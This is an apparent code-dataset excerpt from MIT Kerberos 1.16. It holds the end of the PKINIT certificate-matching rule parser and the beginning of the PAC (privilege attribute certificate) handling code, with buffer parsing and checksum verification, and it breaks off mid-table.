== '\0') { pkiDebug("%s: Missing or empty value for list keyword type %d\n", __FUNCTION__, type); retval = EINVAL; goto out; } if (type == kw_eku) { bitptr = &rc->eku_bits; } else if (type == kw_ku) { bitptr = &rc->ku_bits; } else { pkiDebug("%s: Unknown list keyword type %d\n", __FUNCTION__, type); retval = EINVAL; goto out; } do { found = 0; comma = strchr(value, ','); if (comma != NULL) len = comma - value; else len = strlen(value); if (type == kw_eku) { ku = eku_keywords; } else if (type == kw_ku) { ku = ku_keywords; } for (; ku->value != NULL; ku++) { if (strncasecmp(value, ku->value, len) == 0) { *bitptr |= ku->bitval; found = 1; pkiDebug("%s: Found value '%s', bitfield is now 0x%x\n", __FUNCTION__, ku->value, *bitptr); break; } } if (found) { value += ku->length; if (*value == ',') value += 1; } else { pkiDebug("%s: Urecognized value '%s'\n", __FUNCTION__, value); retval = EINVAL; goto out; } } while (found && *value != '\0'); retval = 0; out: pkiDebug("%s: returning %d\n", __FUNCTION__, retval); return retval; } static krb5_error_code parse_rule_component(krb5_context context, const char **rule, int *remaining, rule_component **ret_rule) { krb5_error_code retval; rule_component *rc = NULL; keyword_type kw_type; kw_value_type kwval_type; char err_buf[128]; int ret; struct keyword_desc *kw, *nextkw; char *nk; int found_next_kw = 0; char *value = NULL; size_t len; for (kw = matching_keywords; kw->value != NULL; kw++) { if (strncmp(*rule, kw->value, kw->length) == 0) { kw_type = kw->kwtype; kwval_type = kw->kwvaltype; *rule += kw->length; *remaining -= kw->length; break; } } if (kw->value == NULL) { pkiDebug("%s: Missing or invalid keyword in rule '%s'\n", __FUNCTION__, *rule); retval = ENOENT; goto out; } pkiDebug("%s: found keyword '%s'\n", __FUNCTION__, kw->value); rc = calloc(1, sizeof(*rc)); if (rc == NULL) { retval = ENOMEM; goto out; } rc->next = NULL; rc->kw_type = kw_type; rc->kwval_type = kwval_type; /* * Before procesing the value for this keyword, * (compiling the regular expression or processing the list) * we need to find the end of it. That means parsing for the * beginning of the next keyword (or the end of the rule). */ nk = strchr(*rule, '<'); while (nk != NULL) { /* Possibly another keyword, check it out */ for (nextkw = matching_keywords; nextkw->value != NULL; nextkw++) { if (strncmp(nk, nextkw->value, nextkw->length) == 0) { /* Found a keyword, nk points to the beginning */ found_next_kw = 1; break; /* Need to break out of the while! */ } } if (!found_next_kw) nk = strchr(nk+1, '<'); /* keep looking */ else break; } if (nk != NULL && found_next_kw) len = (nk - *rule); else len = (*remaining); if (len == 0) { pkiDebug("%s: Missing value for keyword '%s'\n", __FUNCTION__, kw->value); retval = EINVAL; goto out; } value = calloc(1, len+1); if (value == NULL) { retval = ENOMEM; goto out; } memcpy(value, *rule, len); *remaining -= len; *rule += len; pkiDebug("%s: found value '%s'\n", __FUNCTION__, value); if (kw->kwvaltype == kwvaltype_regexp) { ret = regcomp(&rc->regexp, value, REG_EXTENDED); if (ret) { regerror(ret, &rc->regexp, err_buf, sizeof(err_buf)); pkiDebug("%s: Error compiling reg-exp '%s': %s\n", __FUNCTION__, value, err_buf); retval = ret; goto out; } rc->regsrc = strdup(value); if (rc->regsrc == NULL) { retval = ENOMEM; goto out; } } else if (kw->kwvaltype == kwvaltype_list) { retval = parse_list_value(context, rc->kw_type, value, rc); if (retval) { pkiDebug("%s: Error %d, parsing list values for keyword %s\n", __FUNCTION__, retval, kw->value); goto out; } } *ret_rule = rc; retval = 0; out: free(value); if (retval && rc != NULL) free_rule_component(context, rc); pkiDebug("%s: returning %d\n", __FUNCTION__, retval); return retval; } static krb5_error_code parse_rule_set(krb5_context context, const char *rule_in, rule_set **out_rs) { const char *rule; int remaining; krb5_error_code ret, retval; rule_component *rc = NULL, *trc; rule_set *rs; if (rule_in == NULL) return EINVAL; rule = rule_in; remaining = strlen(rule); rs = calloc(1, sizeof(*rs)); if (rs == NULL) { retval = ENOMEM; goto cleanup; } rs->relation = relation_none; if (remaining > 1) { if (rule[0] == '&' && rule[1] == '&') { rs->relation = relation_and; rule += 2; remaining -= 2; } else if (rule_in[0] == '|' && rule_in[1] == '|') { rs->relation = relation_or; rule +=2; remaining -= 2; } } rs->num_crs = 0; while (remaining > 0) { if (rs->relation == relation_none && rs->num_crs > 0) { pkiDebug("%s: Assuming AND relation for multiple components in rule '%s'\n", __FUNCTION__, rule_in); rs->relation = relation_and; } ret = parse_rule_component(context, &rule, &remaining, &rc); if (ret) { retval = ret; goto cleanup; } pkiDebug("%s: After parse_rule_component, remaining %d, rule '%s'\n", __FUNCTION__, remaining, rule); rs->num_crs++; /* * Chain the new component on the end (order matters since * we can short-circuit an OR or an AND relation if an * earlier check passes */ for (trc = rs->crs; trc != NULL && trc->next != NULL; trc = trc->next); if (trc == NULL) rs->crs = rc; else { trc->next = rc; } } *out_rs = rs; retval = 0; cleanup: if (retval && rs != NULL) { free_rule_set(context, rs); } pkiDebug("%s: returning %d\n", __FUNCTION__, retval); return retval; } static int regexp_match(krb5_context context, rule_component *rc, char *value) { int code; pkiDebug("%s: checking %s rule '%s' with value '%s'\n", __FUNCTION__, keyword2string(rc->kw_type), rc->regsrc, value); code = regexec(&rc->regexp, value, 0, NULL, 0); pkiDebug("%s: the result is%s a match\n", __FUNCTION__, code == REG_NOMATCH ? " NOT" : ""); return (code == 0 ? 1: 0); } static int component_match(krb5_context context, rule_component *rc, pkinit_cert_matching_data *md) { int match = 0; int i; krb5_principal p; char *princ_string; switch (rc->kwval_type) { case kwvaltype_regexp: switch (rc->kw_type) { case kw_subject: match = regexp_match(context, rc, md->subject_dn); break; case kw_issuer: match = regexp_match(context, rc, md->issuer_dn); break; case kw_san: if (md->sans == NULL) break; for (i = 0, p = md->sans[i]; p != NULL; p = md->sans[++i]) { krb5_unparse_name(context, p, &princ_string); match = regexp_match(context, rc, princ_string); krb5_free_unparsed_name(context, princ_string); if (match) break; } break; default: pkiDebug("%s: keyword %s, keyword value %s mismatch\n", __FUNCTION__, keyword2string(rc->kw_type), kwval2string(kwvaltype_regexp)); break; } break; case kwvaltype_list: switch(rc->kw_type) { case kw_eku: pkiDebug("%s: checking %s: rule 0x%08x, cert 0x%08x\n", __FUNCTION__, keyword2string(rc->kw_type), rc->eku_bits, md->eku_bits); if ((rc->eku_bits & md->eku_bits) == rc->eku_bits) match = 1; break; case kw_ku: pkiDebug("%s: checking %s: rule 0x%08x, cert 0x%08x\n", __FUNCTION__, keyword2string(rc->kw_type), rc->ku_bits, md->ku_bits); if ((rc->ku_bits & md->ku_bits) == rc->ku_bits) match = 1; break; default: pkiDebug("%s: keyword %s, keyword value %s mismatch\n", __FUNCTION__, keyword2string(rc->kw_type), kwval2string(kwvaltype_regexp)); break; } break; default: pkiDebug("%s: unknown keyword value type %d\n", __FUNCTION__, rc->kwval_type); break; } pkiDebug("%s: returning match = %d\n", __FUNCTION__, match); return match; } /* * Returns match_found == 1 only if exactly one certificate matches * the given rule */ static krb5_error_code check_all_certs(krb5_context context, pkinit_plg_crypto_context plg_cryptoctx, pkinit_req_crypto_context req_cryptoctx, pkinit_identity_crypto_context id_cryptoctx, krb5_principal princ, rule_set *rs, /* rule to check */ pkinit_cert_matching_data **matchdata, int *match_found, size_t *match_index) { krb5_error_code retval; pkinit_cert_matching_data *md; int i; int comp_match = 0; int total_cert_matches = 0; rule_component *rc; int certs_checked = 0; size_t save_index = 0; if (match_found == NULL || match_index == NULL) return EINVAL; *match_index = 0; *match_found = 0; pkiDebug("%s: matching rule relation is %s with %d components\n", __FUNCTION__, relation2string(rs->relation), rs->num_crs); /* * Loop through all the certs available and count * how many match the rule */ for (i = 0, md = matchdata[i]; md != NULL; md = matchdata[++i]) { pkiDebug("%s: subject: '%s'\n", __FUNCTION__, md->subject_dn); #if 0 pkiDebug("%s: issuer: '%s'\n", __FUNCTION__, md->subject_dn); for (j = 0, p = md->sans[j]; p != NULL; p = md->sans[++j]) { char *san_string; krb5_unparse_name(context, p, &san_string); pkiDebug("%s: san: '%s'\n", __FUNCTION__, san_string); krb5_free_unparsed_name(context, san_string); } #endif certs_checked++; for (rc = rs->crs; rc != NULL; rc = rc->next) { comp_match = component_match(context, rc, md); if (comp_match) { pkiDebug("%s: match for keyword type %s\n", __FUNCTION__, keyword2string(rc->kw_type)); } if (comp_match && rs->relation == relation_or) { pkiDebug("%s: cert matches rule (OR relation)\n", __FUNCTION__); total_cert_matches++; save_index = i; goto nextcert; } if (!comp_match && rs->relation == relation_and) { pkiDebug("%s: cert does not match rule (AND relation)\n", __FUNCTION__); goto nextcert; } } if (rc == NULL && comp_match) { pkiDebug("%s: cert matches rule (AND relation)\n", __FUNCTION__); total_cert_matches++; save_index = i; } nextcert: continue; } pkiDebug("%s: After checking %d certs, we found %d matches\n", __FUNCTION__, certs_checked, total_cert_matches); if (total_cert_matches == 1) { *match_found = 1; *match_index = save_index; } retval = 0; pkiDebug("%s: returning %d, match_found %d\n", __FUNCTION__, retval, *match_found); return retval; } krb5_error_code pkinit_cert_matching(krb5_context context, pkinit_plg_crypto_context plg_cryptoctx, pkinit_req_crypto_context req_cryptoctx, pkinit_identity_crypto_context id_cryptoctx, krb5_principal princ) { krb5_error_code retval = KRB5KDC_ERR_PREAUTH_FAILED; int x; char **rules = NULL; rule_set *rs = NULL; int match_found = 0; pkinit_cert_matching_data **matchdata = NULL; size_t match_index = 0; /* If no matching rules, select the default cert and we're done */ pkinit_libdefault_strings(context, krb5_princ_realm(context, princ), KRB5_CONF_PKINIT_CERT_MATCH, &rules); if (rules == NULL) { pkiDebug("%s: no matching rules found in config file\n", __FUNCTION__); retval = crypto_cert_select_default(context, plg_cryptoctx, req_cryptoctx, id_cryptoctx); goto cleanup; } /* parse each rule line one at a time and check all the certs against it */ for (x = 0; rules[x] != NULL; x++) { pkiDebug("%s: Processing rule '%s'\n", __FUNCTION__, rules[x]); /* Free rules from previous time through... */ if (rs != NULL) { free_rule_set(context, rs); rs = NULL; } retval = parse_rule_set(context, rules[x], &rs); if (retval) { if (retval == EINVAL) { pkiDebug("%s: Ignoring invalid rule pkinit_cert_match = '%s'\n", __FUNCTION__, rules[x]); continue; } goto cleanup; } /* * Optimize so that we do not get cert info unless we have * valid rules to check. Once obtained, keep it around * until we are done. */ if (matchdata == NULL) { retval = crypto_cert_get_matching_data(context, plg_cryptoctx, req_cryptoctx, id_cryptoctx, &matchdata); if (retval || matchdata == NULL) { pkiDebug("%s: Error %d obtaining certificate information\n", __FUNCTION__, retval); retval = ENOENT; goto cleanup; } } retval = check_all_certs(context, plg_cryptoctx, req_cryptoctx, id_cryptoctx, princ, rs, matchdata, &match_found, &match_index); if (retval) { pkiDebug("%s: Error %d, checking certs against rule '%s'\n", __FUNCTION__, retval, rules[x]); goto cleanup; } if (match_found) { pkiDebug("%s: We have an exact match with rule '%s'\n", __FUNCTION__, rules[x]); break; } } if (match_found) { pkiDebug("%s: Selecting the matching cert!\n", __FUNCTION__); retval = crypto_cert_select(context, id_cryptoctx, match_index); if (retval) { pkiDebug("%s: crypto_cert_select error %d, %s\n", __FUNCTION__, retval, error_message(retval)); goto cleanup; } } else { TRACE_PKINIT_NO_MATCHING_CERT(context); retval = ENOENT; /* XXX */ goto cleanup; } retval = 0; cleanup: profile_free_list(rules); free_rule_set(context, rs); crypto_cert_free_matching_data_list(context, matchdata); return retval; } krb5_error_code pkinit_client_cert_match(krb5_context context, pkinit_plg_crypto_context plgctx, pkinit_req_crypto_context reqctx, const char *match_rule, krb5_boolean *matched) { krb5_error_code ret; pkinit_cert_matching_data *md = NULL; rule_component *rc = NULL; int comp_match = 0; rule_set *rs = NULL; *matched = FALSE; ret = parse_rule_set(context, match_rule, &rs); if (ret) goto cleanup; ret = crypto_req_cert_matching_data(context, plgctx, reqctx, &md); if (ret) goto cleanup; for (rc = rs->crs; rc != NULL; rc = rc->next) { comp_match = component_match(context, rc, md); if ((comp_match && rs->relation == relation_or) || (!comp_match && rs->relation == relation_and)) { break; } } *matched = comp_match; cleanup: free_rule_set(context, rs); crypto_cert_free_matching_data(context, md); return ret; }
gerritjvv/cryptoplayground
kerberos/kdc/src/krb5-1.16/src/plugins/preauth/pkinit/pkinit_matching.c
C
apache-2.0
22,754
/* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* lib/krb5/krb/pac.c */ /* * Copyright 2008 by the Massachusetts Institute of Technology. * All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ #include "k5-int.h" #include "authdata.h" /* draft-brezak-win2k-krb-authz-00 */ /* * Add a buffer to the provided PAC and update header. */ krb5_error_code k5_pac_add_buffer(krb5_context context, krb5_pac pac, krb5_ui_4 type, const krb5_data *data, krb5_boolean zerofill, krb5_data *out_data) { PACTYPE *header; size_t header_len, i, pad = 0; char *pac_data; assert((data->data == NULL) == zerofill); /* Check there isn't already a buffer of this type */ if (k5_pac_locate_buffer(context, pac, type, NULL) == 0) { return EEXIST; } header = (PACTYPE *)realloc(pac->pac, sizeof(PACTYPE) + (pac->pac->cBuffers * sizeof(PAC_INFO_BUFFER))); if (header == NULL) { return ENOMEM; } pac->pac = header; header_len = PACTYPE_LENGTH + (pac->pac->cBuffers * PAC_INFO_BUFFER_LENGTH); if (data->length % PAC_ALIGNMENT) pad = PAC_ALIGNMENT - (data->length % PAC_ALIGNMENT); pac_data = realloc(pac->data.data, pac->data.length + PAC_INFO_BUFFER_LENGTH + data->length + pad); if (pac_data == NULL) { return ENOMEM; } pac->data.data = pac_data; /* Update offsets of existing buffers */ for (i = 0; i < pac->pac->cBuffers; i++) pac->pac->Buffers[i].Offset += PAC_INFO_BUFFER_LENGTH; /* Make room for new PAC_INFO_BUFFER */ memmove(pac->data.data + header_len + PAC_INFO_BUFFER_LENGTH, pac->data.data + header_len, pac->data.length - header_len); memset(pac->data.data + header_len, 0, PAC_INFO_BUFFER_LENGTH); /* Initialise new PAC_INFO_BUFFER */ pac->pac->Buffers[i].ulType = type; pac->pac->Buffers[i].cbBufferSize = data->length; pac->pac->Buffers[i].Offset = pac->data.length + PAC_INFO_BUFFER_LENGTH; assert((pac->pac->Buffers[i].Offset % PAC_ALIGNMENT) == 0); /* Copy in new PAC data and zero padding bytes */ if (zerofill) memset(pac->data.data + pac->pac->Buffers[i].Offset, 0, data->length); else memcpy(pac->data.data + pac->pac->Buffers[i].Offset, data->data, data->length); memset(pac->data.data + pac->pac->Buffers[i].Offset + data->length, 0, pad); pac->pac->cBuffers++; pac->data.length += PAC_INFO_BUFFER_LENGTH + data->length + pad; if (out_data != NULL) { out_data->data = pac->data.data + pac->pac->Buffers[i].Offset; out_data->length = data->length; } pac->verified = FALSE; return 0; } krb5_error_code KRB5_CALLCONV krb5_pac_add_buffer(krb5_context context, krb5_pac pac, krb5_ui_4 type, const krb5_data *data) { return k5_pac_add_buffer(context, pac, type, data, FALSE, NULL); } /* * Free a PAC */ void KRB5_CALLCONV krb5_pac_free(krb5_context context, krb5_pac pac) { if (pac != NULL) { zapfree(pac->data.data, pac->data.length); free(pac->pac); zapfree(pac, sizeof(*pac)); } } krb5_error_code k5_pac_locate_buffer(krb5_context context, const krb5_pac pac, krb5_ui_4 type, krb5_data *data) { PAC_INFO_BUFFER *buffer = NULL; size_t i; if (pac == NULL) return EINVAL; for (i = 0; i < pac->pac->cBuffers; i++) { if (pac->pac->Buffers[i].ulType == type) { if (buffer == NULL) buffer = &pac->pac->Buffers[i]; else return EINVAL; } } if (buffer == NULL) return ENOENT; assert(buffer->Offset + buffer->cbBufferSize <= pac->data.length); if (data != NULL) { data->length = buffer->cbBufferSize; data->data = pac->data.data + buffer->Offset; } return 0; } /* * Find a buffer and copy data into output */ krb5_error_code KRB5_CALLCONV krb5_pac_get_buffer(krb5_context context, krb5_pac pac, krb5_ui_4 type, krb5_data *data) { krb5_data d; krb5_error_code ret; ret = k5_pac_locate_buffer(context, pac, type, &d); if (ret != 0) return ret; data->data = k5memdup(d.data, d.length, &ret); if (data->data == NULL) return ret; data->length = d.length; return 0; } /* * Return an array of the types of data in the PAC */ krb5_error_code KRB5_CALLCONV krb5_pac_get_types(krb5_context context, krb5_pac pac, size_t *len, krb5_ui_4 **types) { size_t i; *types = (krb5_ui_4 *)malloc(pac->pac->cBuffers * sizeof(krb5_ui_4)); if (*types == NULL) return ENOMEM; *len = pac->pac->cBuffers; for (i = 0; i < pac->pac->cBuffers; i++) (*types)[i] = pac->pac->Buffers[i].ulType; return 0; } /* * Initialize PAC */ krb5_error_code KRB5_CALLCONV krb5_pac_init(krb5_context context, krb5_pac *ppac) { krb5_pac pac; pac = (krb5_pac)malloc(sizeof(*pac)); if (pac == NULL) return ENOMEM; pac->pac = (PACTYPE *)malloc(sizeof(PACTYPE)); if (pac->pac == NULL) { free(pac); return ENOMEM; } pac->pac->cBuffers = 0; pac->pac->Version = 0; pac->data.length = PACTYPE_LENGTH; pac->data.data = calloc(1, pac->data.length); if (pac->data.data == NULL) { krb5_pac_free(context, pac); return ENOMEM; } pac->verified = FALSE; *ppac = pac; return 0; } static krb5_error_code k5_pac_copy(krb5_context context, krb5_pac src, krb5_pac *dst) { size_t header_len; krb5_ui_4 cbuffers; krb5_error_code code; krb5_pac pac; cbuffers = src->pac->cBuffers; if (cbuffers != 0) cbuffers--; header_len = sizeof(PACTYPE) + cbuffers * sizeof(PAC_INFO_BUFFER); pac = (krb5_pac)malloc(sizeof(*pac)); if (pac == NULL) return ENOMEM; pac->pac = k5memdup(src->pac, header_len, &code); if (pac->pac == NULL) { free(pac); return code; } code = krb5int_copy_data_contents(context, &src->data, &pac->data); if (code != 0) { free(pac->pac); free(pac); return ENOMEM; } pac->verified = src->verified; *dst = pac; return 0; } /* * Parse the supplied data into the PAC allocated by this function */ krb5_error_code KRB5_CALLCONV krb5_pac_parse(krb5_context context, const void *ptr, size_t len, krb5_pac *ppac) { krb5_error_code ret; size_t i; const unsigned char *p = (const unsigned char *)ptr; krb5_pac pac; size_t header_len; krb5_ui_4 cbuffers, version; *ppac = NULL; if (len < PACTYPE_LENGTH) return ERANGE; cbuffers = load_32_le(p); p += 4; version = load_32_le(p); p += 4; if (version != 0) return EINVAL; header_len = PACTYPE_LENGTH + (cbuffers * PAC_INFO_BUFFER_LENGTH); if (len < header_len) return ERANGE; ret = krb5_pac_init(context, &pac); if (ret != 0) return ret; pac->pac = (PACTYPE *)realloc(pac->pac, sizeof(PACTYPE) + ((cbuffers - 1) * sizeof(PAC_INFO_BUFFER))); if (pac->pac == NULL) { krb5_pac_free(context, pac); return ENOMEM; } pac->pac->cBuffers = cbuffers; pac->pac->Version = version; for (i = 0; i < pac->pac->cBuffers; i++) { PAC_INFO_BUFFER *buffer = &pac->pac->Buffers[i]; buffer->ulType = load_32_le(p); p += 4; buffer->cbBufferSize = load_32_le(p); p += 4; buffer->Offset = load_64_le(p); p += 8; if (buffer->Offset % PAC_ALIGNMENT) { krb5_pac_free(context, pac); return EINVAL; } if (buffer->Offset < header_len || buffer->Offset + buffer->cbBufferSize > len) { krb5_pac_free(context, pac); return ERANGE; } } pac->data.data = realloc(pac->data.data, len); if (pac->data.data == NULL) { krb5_pac_free(context, pac); return ENOMEM; } memcpy(pac->data.data, ptr, len); pac->data.length = len; *ppac = pac; return 0; } static krb5_error_code k5_time_to_seconds_since_1970(int64_t ntTime, krb5_timestamp *elapsedSeconds) { uint64_t abstime; ntTime /= 10000000; abstime = ntTime > 0 ? ntTime - NT_TIME_EPOCH : -ntTime; if (abstime > UINT32_MAX) return ERANGE; *elapsedSeconds = abstime; return 0; } krb5_error_code k5_seconds_since_1970_to_time(krb5_timestamp elapsedSeconds, uint64_t *ntTime) { *ntTime = elapsedSeconds; if (elapsedSeconds > 0) *ntTime += NT_TIME_EPOCH; *ntTime *= 10000000; return 0; } krb5_error_code k5_pac_validate_client(krb5_context context, const krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal) { krb5_error_code ret; krb5_data client_info; char *pac_princname; unsigned char *p; krb5_timestamp pac_authtime; krb5_ui_2 pac_princname_length; int64_t pac_nt_authtime; krb5_principal pac_principal; ret = k5_pac_locate_buffer(context, pac, KRB5_PAC_CLIENT_INFO, &client_info); if (ret != 0) return ret; if (client_info.length < PAC_CLIENT_INFO_LENGTH) return ERANGE; p = (unsigned char *)client_info.data; pac_nt_authtime = load_64_le(p); p += 8; pac_princname_length = load_16_le(p); p += 2; ret = k5_time_to_seconds_since_1970(pac_nt_authtime, &pac_authtime); if (ret != 0) return ret; if (client_info.length < PAC_CLIENT_INFO_LENGTH + pac_princname_length || pac_princname_length % 2) return ERANGE; ret = k5_utf16le_to_utf8(p, pac_princname_length, &pac_princname); if (ret != 0) return ret; ret = krb5_parse_name_flags(context, pac_princname, KRB5_PRINCIPAL_PARSE_NO_REALM, &pac_principal); if (ret != 0) { free(pac_princname); return ret; } free(pac_princname); if (pac_authtime != authtime || !krb5_principal_compare_flags(context, pac_principal, principal, KRB5_PRINCIPAL_COMPARE_IGNORE_REALM)) ret = KRB5KRB_AP_WRONG_PRINC; krb5_free_principal(context, pac_principal); return ret; } static krb5_error_code k5_pac_zero_signature(krb5_context context, const krb5_pac pac, krb5_ui_4 type, krb5_data *data) { PAC_INFO_BUFFER *buffer = NULL; size_t i; assert(type == KRB5_PAC_SERVER_CHECKSUM || type == KRB5_PAC_PRIVSVR_CHECKSUM); assert(data->length >= pac->data.length); for (i = 0; i < pac->pac->cBuffers; i++) { if (pac->pac->Buffers[i].ulType == type) { buffer = &pac->pac->Buffers[i]; break; } } if (buffer == NULL) return ENOENT; if (buffer->Offset + buffer->cbBufferSize > pac->data.length) return ERANGE; if (buffer->cbBufferSize < PAC_SIGNATURE_DATA_LENGTH) return KRB5_BAD_MSIZE; /* Zero out the data portion of the checksum only */ memset(data->data + buffer->Offset + PAC_SIGNATURE_DATA_LENGTH, 0, buffer->cbBufferSize - PAC_SIGNATURE_DATA_LENGTH); return 0; } static krb5_error_code k5_pac_verify_server_checksum(krb5_context context, const krb5_pac pac, const krb5_keyblock *server) { krb5_error_code ret; krb5_data pac_data; /* PAC with zeroed checksums */ krb5_checksum checksum; krb5_data checksum_data; krb5_boolean valid; krb5_octet *p; ret = k5_pac_locate_buffer(context, pac, KRB5_PAC_SERVER_CHECKSUM, &checksum_data); if (ret != 0) return ret; if (checksum_data.length < PAC_SIGNATURE_DATA_LENGTH) return KRB5_BAD_MSIZE; p = (krb5_octet *)checksum_data.data; checksum.checksum_type = load_32_le(p); checksum.length = checksum_data.length - PAC_SIGNATURE_DATA_LENGTH; checksum.contents = p + PAC_SIGNATURE_DATA_LENGTH; if (!krb5_c_is_keyed_cksum(checksum.checksum_type)) return KRB5KRB_AP_ERR_INAPP_CKSUM; pac_data.length = pac->data.length; pac_data.data = k5memdup(pac->data.data, pac->data.length, &ret); if (pac_data.data == NULL) return ret; /* Zero out both checksum buffers */ ret = k5_pac_zero_signature(context, pac, KRB5_PAC_SERVER_CHECKSUM, &pac_data); if (ret != 0) { free(pac_data.data); return ret; } ret = k5_pac_zero_signature(context, pac, KRB5_PAC_PRIVSVR_CHECKSUM, &pac_data); if (ret != 0) { free(pac_data.data); return ret; } ret = krb5_c_verify_checksum(context, server, KRB5_KEYUSAGE_APP_DATA_CKSUM, &pac_data, &checksum, &valid); free(pac_data.data); if (ret != 0) { return ret; } if (valid == FALSE) ret = KRB5KRB_AP_ERR_BAD_INTEGRITY; return ret; } static krb5_error_code k5_pac_verify_kdc_checksum(krb5_context context, const krb5_pac pac, const krb5_keyblock *privsvr) { krb5_error_code ret; krb5_data server_checksum, privsvr_checksum; krb5_checksum checksum; krb5_boolean valid; krb5_octet *p; ret = k5_pac_locate_buffer(context, pac, KRB5_PAC_PRIVSVR_CHECKSUM, &privsvr_checksum); if (ret != 0) return ret; if (privsvr_checksum.length < PAC_SIGNATURE_DATA_LENGTH) return KRB5_BAD_MSIZE; ret = k5_pac_locate_buffer(context, pac, KRB5_PAC_SERVER_CHECKSUM, &server_checksum); if (ret != 0) return ret; if (server_checksum.length < PAC_SIGNATURE_DATA_LENGTH) return KRB5_BAD_MSIZE; p = (krb5_octet *)privsvr_checksum.data; checksum.checksum_type = load_32_le(p); checksum.length = privsvr_checksum.length - PAC_SIGNATURE_DATA_LENGTH; checksum.contents = p + PAC_SIGNATURE_DATA_LENGTH; if (!krb5_c_is_keyed_cksum(checksum.checksum_type)) return KRB5KRB_AP_ERR_INAPP_CKSUM; server_checksum.data += PAC_SIGNATURE_DATA_LENGTH; server_checksum.length -= PAC_SIGNATURE_DATA_LENGTH; ret = krb5_c_verify_checksum(context, privsvr, KRB5_KEYUSAGE_APP_DATA_CKSUM, &server_checksum, &checksum, &valid); if (ret != 0) return ret; if (valid == FALSE) ret = KRB5KRB_AP_ERR_BAD_INTEGRITY; return ret; } krb5_error_code KRB5_CALLCONV krb5_pac_verify(krb5_context context, const krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal, const krb5_keyblock *server, const krb5_keyblock *privsvr) { krb5_error_code ret; if (server != NULL) { ret = k5_pac_verify_server_checksum(context, pac, server); if (ret != 0) return ret; } if (privsvr != NULL) { ret = k5_pac_verify_kdc_checksum(context, pac, privsvr); if (ret != 0) return ret; } if (principal != NULL) { ret = k5_pac_validate_client(context, pac, authtime, principal); if (ret != 0) return ret; } pac->verified = TRUE; return 0; } /* * PAC auth data attribute backend */ struct mspac_context { krb5_pac pac; }; static krb5_error_code mspac_init(krb5_context kcontext, void **plugin_context) { *plugin_context = NULL; return 0; } static void mspac_flags(krb5_context kcontext, void *plugin_context, krb5_authdatatype ad_type, krb5_flags *flags) { *flags = AD_USAGE_TGS_REQ; } static void mspac_fini(krb5_context kcontext, void *plugin_context) { return; } static krb5_error_code mspac_request_init(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void **request_context) { struct mspac_context *pacctx; pacctx = (struct mspac_context *)malloc(sizeof(*pacctx)); if (pacctx == NULL) return ENOMEM; pacctx->pac = NULL; *request_context = pacctx; return 0; } static krb5_error_code mspac_import_authdata(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_authdata **authdata, krb5_boolean kdc_issued, krb5_const_principal kdc_issuer) { krb5_error_code code; struct mspac_context *pacctx = (struct mspac_context *)request_context; if (kdc_issued) return EINVAL; if (pacctx->pac != NULL) { krb5_pac_free(kcontext, pacctx->pac); pacctx->pac = NULL; } assert(authdata[0] != NULL); assert((authdata[0]->ad_type & AD_TYPE_FIELD_TYPE_MASK) == KRB5_AUTHDATA_WIN2K_PAC); code = krb5_pac_parse(kcontext, authdata[0]->contents, authdata[0]->length, &pacctx->pac); return code; } static krb5_error_code mspac_export_authdata(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_flags usage, krb5_authdata ***out_authdata) { struct mspac_context *pacctx = (struct mspac_context *)request_context; krb5_error_code code; krb5_authdata **authdata; krb5_data data; if (pacctx->pac == NULL) return 0; authdata = calloc(2, sizeof(krb5_authdata *)); if (authdata == NULL) return ENOMEM; authdata[0] = calloc(1, sizeof(krb5_authdata)); if (authdata[0] == NULL) { free(authdata); return ENOMEM; } authdata[1] = NULL; code = krb5int_copy_data_contents(kcontext, &pacctx->pac->data, &data); if (code != 0) { krb5_free_authdata(kcontext, authdata); return code; } authdata[0]->magic = KV5M_AUTHDATA; authdata[0]->ad_type = KRB5_AUTHDATA_WIN2K_PAC; authdata[0]->length = data.length; authdata[0]->contents = (krb5_octet *)data.data; authdata[1] = NULL; *out_authdata = authdata; return 0; } static krb5_error_code mspac_verify(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, const krb5_auth_context *auth_context, const krb5_keyblock *key, const krb5_ap_req *req) { krb5_error_code code; struct mspac_context *pacctx = (struct mspac_context *)request_context; if (pacctx->pac == NULL) return EINVAL; code = krb5_pac_verify(kcontext, pacctx->pac, req->ticket->enc_part2->times.authtime, req->ticket->enc_part2->client, key, NULL); if (code != 0) TRACE_MSPAC_VERIFY_FAIL(kcontext, code); /* * If the above verification failed, don't fail the whole authentication, * just don't mark the PAC as verified. A checksum mismatch can occur if * the PAC was copied from a cross-realm TGT by an ignorant KDC, and Apple * macOS Server Open Directory (as of 10.6) generates PACs with no server * checksum at all. */ return 0; } static void mspac_request_fini(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context) { struct mspac_context *pacctx = (struct mspac_context *)request_context; if (pacctx != NULL) { if (pacctx->pac != NULL) krb5_pac_free(kcontext, pacctx->pac); free(pacctx); } } #define STRLENOF(x) (sizeof((x)) - 1) static struct { krb5_ui_4 type; krb5_data attribute; } mspac_attribute_types[] = { { (krb5_ui_4)-1, { KV5M_DATA, STRLENOF("urn:mspac:"), "urn:mspac:" } }, { KRB5_PAC_LOGON_INFO, { KV5M_DATA, STRLENOF("urn:mspac:logon-info"), "urn:mspac:logon-info" } }, { KRB5_PAC_CREDENTIALS_INFO, { KV5M_DATA, STRLENOF("urn:mspac:credentials-info"), "urn:mspac:credentials-info" } }, { KRB5_PAC_SERVER_CHECKSUM, { KV5M_DATA, STRLENOF("urn:mspac:server-checksum"), "urn:mspac:server-checksum" } }, { KRB5_PAC_PRIVSVR_CHECKSUM, { KV5M_DATA, STRLENOF("urn:mspac:privsvr-checksum"), "urn:mspac:privsvr-checksum" } }, { 